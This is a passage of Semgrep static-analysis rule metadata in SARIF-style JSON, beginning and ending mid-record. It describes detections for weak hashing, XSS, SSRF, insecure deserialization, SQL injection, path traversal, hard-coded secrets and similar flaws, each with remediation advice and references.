problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1)\n - [https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#sha-1](https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#sha-1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","id":"python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","name":"python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views."},"help":{"markdown":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","id":"java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","name":"java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-url-host.tainted-url-host","id":"java.spring.security.injection.tainted-url-host.tainted-url-host","name":"java.spring.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC677 callAfterTransfer() reentrancy"},"help":{"markdown":"ERC677 callAfterTransfer() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc677-reentrancy.erc677-reentrancy)\n - [https://twitter.com/peckshield/status/1509431646818234369](https://twitter.com/peckshield/status/1509431646818234369)\n - [https://twitter.com/blocksecteam/status/1509466576848064512](https://twitter.com/blocksecteam/status/1509466576848064512)\n - [https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611](https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611)\n - [https://explorer.fuse.io/address/0x5De15b5543c178C111915d6B8ae929Af01a8cC58](https://explorer.fuse.io/address/0x5De15b5543c178C111915d6B8ae929Af01a8cC58)\n","text":"ERC677 callAfterTransfer() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc677-reentrancy.erc677-reentrancy","id":"solidity.security.erc677-reentrancy.erc677-reentrancy","name":"solidity.security.erc677-reentrancy.erc677-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc677-reentrancy.erc677-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5)\n - [https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#md5](https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#md5)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","id":"python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","name":"python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'."},"help":{"markdown":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/vulnerability/xss/xss.go#L33](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/vulnerability/xss/xss.go#L33)\n","text":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","id":"go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","name":"go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","id":"python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","name":"python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.generic-sql-flask.generic-sql-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.flask.db.generic-sql-flask.generic-sql-flask","id":"python.flask.db.generic-sql-flask.generic-sql-flask","name":"python.flask.db.generic-sql-flask.generic-sql-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.generic-sql-flask.generic-sql-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","id":"python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","name":"python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"In $METHOD, $X is used to construct a SQL query via string concatenation."},"help":{"markdown":"In $METHOD, $X is used to construct a SQL query via string concatenation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jboss.security.session_sqli.find-sql-string-concatenation)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"In $METHOD, $X is used to construct a SQL query via string concatenation."},"helpUri":"https://semgrep.dev/r/java.jboss.security.session_sqli.find-sql-string-concatenation","id":"java.jboss.security.session_sqli.find-sql-string-concatenation","name":"java.jboss.security.session_sqli.find-sql-string-concatenation","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.jboss.security.session_sqli.find-sql-string-concatenation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Key vault should have purge protection enabled"},"help":{"markdown":"Key vault should have purge protection enabled\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#purge_protection_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#purge_protection_enabled)\n - [https://docs.microsoft.com/en-us/azure/key-vault/general/soft-delete-overview#purge-protection](https://docs.microsoft.com/en-us/azure/key-vault/general/soft-delete-overview#purge-protection)\n","text":"Key vault should have purge protection enabled"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","id":"terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","name":"terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","properties":{"precision":"very-high","tags":["CWE-693: Protection Mechanism Failure","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.missing-httponly.missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.missing-httponly.missing-httponly","id":"java.micronaut.audit.cookies.missing-httponly.missing-httponly","name":"java.micronaut.audit.cookies.missing-httponly.missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.missing-httponly.missing-httponly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","id":"python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","name":"python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`."},"help":{"markdown":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", 